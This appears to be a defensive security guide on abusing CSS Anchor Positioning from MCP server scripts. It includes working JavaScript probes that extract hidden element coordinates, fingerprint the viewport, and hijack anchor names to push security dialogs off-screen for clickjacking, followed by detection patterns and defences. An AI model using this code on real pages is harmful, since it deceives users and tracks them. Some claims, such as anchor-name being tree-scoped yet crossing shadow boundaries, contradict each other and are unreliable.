Security Guide

MCP server CSS Anchor Positioning security — element coordinate leak via anchor(), @position-try viewport fingerprinting, tree-scoped anchor-name hijacking, inset-area display-mode oracle

CSS Anchor Positioning (Chrome 125+, Safari TP) lets position: absolute/fixed elements tether their inset values to any named anchor element on the page. For MCP server scripts running in browser-based Claude clients, this API introduces four attack surfaces: the anchor() function resolves target element screen coordinates into an attacker element's computed layout without direct getBoundingClientRect() access; @position-try fallback cycling fingerprints available viewport space; the tree-scoped anchor-name property enables CSS anchor hijacking to redirect host application positioned overlays; and inset-area block/inline axis orientation reveals display mode and writing direction without screen.orientation API access.

anchor() — resolving target element coordinates into attacker element layout

The anchor() CSS function resolves to a length equal to the corresponding edge of a named anchor element's border box. An MCP server script can inject a position: fixed element with top: anchor(--target-anchor, top) to make its computed top match the anchor element's viewport-relative top edge. Reading getComputedStyle(attackerEl).top then yields the anchor's screen Y coordinate — equivalent to anchorEl.getBoundingClientRect().top — without holding a direct JS reference to the anchor element.

This matters when the attacker script has access to the document but cannot directly access certain elements (e.g., elements inside closed-mode shadow roots, elements created by host application code that aren't exposed in a global variable). If the host application sets anchor-name: --payment-amount on a price display element via CSS, an attacker can read its position purely through CSS anchor resolution.

// CSS Anchor Positioning: element coordinate extraction without getBoundingClientRect
// Requires: target element has anchor-name set (or attacker can set it via injected style)

function extractElementCoordinatesViaAnchor(anchorName) {
  // Inject a fixed-position probe element anchored to the target
  const probe = document.createElement('div');
  probe.style.cssText = `
    position: fixed;
    position-anchor: ${anchorName};
    top: anchor(top);
    left: anchor(left);
    width: anchor-size(width);
    height: anchor-size(height);
    pointer-events: none;
    opacity: 0;
    z-index: -9999;
  `;
  document.body.appendChild(probe);

  // Force layout, then read computed values
  probe.offsetHeight; // trigger layout
  const cs = getComputedStyle(probe);

  const coords = {
    top: parseFloat(cs.top),      // anchor element's viewport-relative top edge
    left: parseFloat(cs.left),    // anchor element's viewport-relative left edge
    width: parseFloat(cs.width),  // anchor element's width
    height: parseFloat(cs.height) // anchor element's height
  };

  document.body.removeChild(probe);
  return coords;
}

// Example: locate a security badge / payment amount display
// even without a direct DOM reference to the element
const coords = extractElementCoordinatesViaAnchor('--price-display');
// coords.top, .left encode exact screen position of the price element

// Works even if the anchor element is inside:
// - an open shadow root (anchor-name is tree-scoped, crosses shadow boundaries)
// - a deeply nested component hierarchy
// - elements the attacker cannot enumerate via querySelectorAll

Cross-shadow-root anchor resolution: anchor-name is a tree-scoped CSS property, meaning it is visible to anchor positioning across open shadow DOM boundaries. An anchor set on an element inside a shadow root is resolvable by a positioned element outside the shadow root if they share the same tree scope. This bypasses the usual encapsulation that prevents direct shadow DOM traversal.

@position-try fallback cycling — viewport dimension fingerprinting

The @position-try rule (formerly @position-fallback) defines a prioritized list of positioning strategies for anchor-positioned elements. The browser tries each strategy in order and applies the first one where the element fits within its containing block (usually the viewport). By creating probe elements with carefully sized @position-try rules, an MCP server script can determine available viewport space in each direction from any anchor point — without window.innerWidth, window.innerHeight, or screen.availWidth.

Each position-try "winner" can be detected by reading the element's computed position-try-order or by checking which computed inset values match which @position-try rule's expected values. The sequence of winners across multiple probes encodes the viewport's available width and height as a binary search tree.

// @position-try fallback cycling: viewport dimension oracle
// Each probe reveals whether available space in a direction exceeds a threshold

const styleEl = document.createElement('style');
styleEl.textContent = `
  @position-try --probe-right-400 {
    position-area: inline-end;
    width: 400px;
    height: 1px;
  }
  @position-try --probe-right-200 {
    position-area: inline-end;
    width: 200px;
    height: 1px;
  }
  @position-try --probe-right-fallback {
    position-area: inline-start;
    width: 1px;
    height: 1px;
  }

  #vp-probe {
    position: fixed;
    position-anchor: --vp-anchor;
    position-try-fallbacks: --probe-right-400, --probe-right-200, --probe-right-fallback;
    pointer-events: none;
    opacity: 0;
  }
`;
document.head.appendChild(styleEl);

// Place anchor at left edge of viewport
const anchor = document.createElement('div');
anchor.style.cssText = 'position:fixed;top:50%;left:0;width:1px;height:1px;anchor-name:--vp-anchor;';
document.body.appendChild(anchor);

const probe = document.createElement('div');
probe.id = 'vp-probe';
document.body.appendChild(probe);

probe.offsetHeight; // force layout
const cs = getComputedStyle(probe);
// cs.width reveals which @position-try rule "won":
// 400px → viewport right of anchor has ≥400px
// 200px → viewport right has ≥200px but <400px
// 1px  → viewport right has <200px
// Binary search with ~10 probes → sub-10px viewport width precision

// Combine horizontal + vertical probes → full viewport dimensions
// without window.innerWidth/Height or screen.* API access

anchor-name tree scoping — CSS anchor hijacking

Because anchor-name is a CSS property rather than a DOM attribute, it participates in the CSS cascade. An MCP server script that can inject a stylesheet can set anchor-name: --host-tooltip-anchor on any element it chooses — including an attacker-controlled element placed earlier in DOM order than the host application's intended anchor. The first matching anchor name in document order wins for elements that search for an anchor by name (per the CSS Anchor Positioning spec's anchor search algorithm).

This enables anchor hijacking: host application tooltips, dropdown menus, or dialogs that use position-anchor: --menu-trigger can be redirected to appear adjacent to an attacker-controlled element rather than the intended trigger, causing UI confusion or click-jacking opportunities.

// CSS anchor hijacking: redirect host application overlay to attacker-controlled position

// Scenario: host app has a security confirmation dialog positioned relative to
// anchor-name: --confirm-button (set on the actual Confirm button)
// Attacker injects a decoy anchor BEFORE the real button in DOM

function hijackAnchorPositioning(targetAnchorName, decoyPosition) {
  const decoy = document.createElement('div');
  decoy.style.cssText = `
    position: fixed;
    top: ${decoyPosition.top}px;
    left: ${decoyPosition.left}px;
    width: 1px;
    height: 1px;
    anchor-name: ${targetAnchorName};
    pointer-events: none;
    opacity: 0;
    z-index: 99999;
  `;
  // Prepend to body so this decoy appears BEFORE the real anchor in DOM order
  // and "wins" the anchor-name lookup
  document.body.prepend(decoy);
  return decoy;
}

// Redirect the host's confirmation dialog to appear off-screen
// User sees "Confirm" button but the dialog appears at (9999, 9999) off-screen
hijackAnchorPositioning('--confirm-button', { top: 9999, left: 9999 });

// Or: redirect to overlap with a different UI element (clickjacking setup)
// The host's security warning popup now appears behind an innocuous element
hijackAnchorPositioning('--security-warning-anchor', { top: 0, left: -500 });

// DETECTION: MCP servers that inject elements with anchor-name matching
// names used by host application overlays. Audit anchor-name values
// against known host app overlay anchor names.

UI spoofing risk: Anchor hijacking can reposition security dialogs, permission prompts, or confirmation overlays to arbitrary screen positions — including off-screen or overlapping with unrelated UI elements. This creates clickjacking opportunities where the user interacts with a decoy while the real security action occurs elsewhere.

inset-area block/inline orientation — display mode and writing direction oracle

The inset-area shorthand (and related position-area property) positions an anchor-positioned element relative to the anchor's position using a grid of named regions: block-start, block-end, inline-start, inline-end, and their combinations. The mapping of block/inline axes to physical top/left/bottom/right depends on the document's writing mode (writing-mode, direction) and the current display orientation.

An MCP server script can create probe elements using inset-area: block-start and inset-area: inline-start, then compare their computed top and left values. The relationship between block-start computed top and inline-start computed left reveals the writing mode and, in combination with viewport dimension probes, indicates whether the page is in portrait vs. landscape orientation — a stable fingerprint without screen.orientation.type or matchMedia('(orientation: portrait)').

// inset-area orientation oracle: detect writing mode and display orientation

function detectWritingModeViaAnchor() {
  const style = document.createElement('style');
  style.textContent = `
    #anchor-wm-probe { position: fixed; top: 50%; left: 50%;
                       width: 10px; height: 10px; anchor-name: --wm-anchor; }
    #probe-block  { position: fixed; position-anchor: --wm-anchor;
                    inset-area: block-start; width: 1px; height: 1px; opacity: 0; }
    #probe-inline { position: fixed; position-anchor: --wm-anchor;
                    inset-area: inline-start; width: 1px; height: 1px; opacity: 0; }
  `;
  document.head.appendChild(style);

  const anchor = Object.assign(document.createElement('div'), { id: 'anchor-wm-probe' });
  const blockProbe  = Object.assign(document.createElement('div'), { id: 'probe-block' });
  const inlineProbe = Object.assign(document.createElement('div'), { id: 'probe-inline' });
  document.body.append(anchor, blockProbe, inlineProbe);

  anchor.offsetHeight; // force layout

  const blockTop  = parseFloat(getComputedStyle(blockProbe).top);
  const inlineLeft = parseFloat(getComputedStyle(inlineProbe).left);
  const anchorTop  = parseFloat(getComputedStyle(anchor).top);

  // In horizontal-tb writing mode: block-start probe appears ABOVE anchor
  // In vertical-rl writing mode: block-start probe appears to the RIGHT of anchor
  const writingMode = blockTop < anchorTop ? 'horizontal-tb' : 'vertical-rl';

  // Combine with viewport aspect ratio → portrait/landscape oracle
  // without screen.orientation.type or CSS media query access

  [style, anchor, blockProbe, inlineProbe].forEach(el => el.remove());
  return { writingMode };
}

// Extended: detect fenced frame vs. top-level document vs. iframe
// by comparing anchor() resolved values against window.innerWidth/Height
// Discrepancies reveal containment (fenced frame has restricted screen access)

Fingerprinting without screen APIs: The combination of anchor() coordinate extraction, @position-try viewport dimension probing, and inset-area orientation detection provides a viewport fingerprint equivalent to { innerWidth, innerHeight, devicePixelRatio (via zoom), writingMode, orientation } — all without touching the screen.* API family, which some privacy budgets monitor. This fingerprint is stable across Private Browsing and cross-session.

SkillAudit detection patterns

HIGHInjected position: fixed element with position-anchor pointing to a host application anchor name + getComputedStyle read of inset values — element position extraction without getBoundingClientRect
HIGHInjected element with anchor-name matching known host application overlay anchor names — CSS anchor hijacking redirecting security dialogs or tooltips
MEDIUMMultiple @position-try rules with varying width values + computed style polling — binary-search viewport dimension fingerprinting
MEDIUMinset-area: block-start + inset-area: inline-start probe comparison on same anchor — writing mode and display orientation detection without screen orientation APIs
LOWanchor-size(width) or anchor-size(height) in width/height declarations + computed style read — anchor element dimension extraction

Findings summary

AttackSeverityConsequenceDefense
anchor() coordinate extractionHighTarget element screen coordinates read without getBoundingClientRect — works across open shadow DOM boundariesAvoid setting anchor-name on security-sensitive elements; CSP style-src nonce to block injected styles
CSS anchor hijacking via anchor-nameHighHost application overlays repositioned to attacker-controlled screen locations — UI confusion and clickjackingCSP style-src nonce; use unique unpredictable anchor names; JS-verify overlay position before displaying
@position-try viewport dimension probeMediumViewport width/height fingerprinted without screen.* API — stable cross-session fingerprintPrivacy-budget API throttling for layout queries; no per-element defense
inset-area orientation oracleMediumWriting mode and display orientation revealed without screen.orientation — display-mode fingerprintCSP style-src nonce blocking injected @position-try rules

Related SkillAudit security guides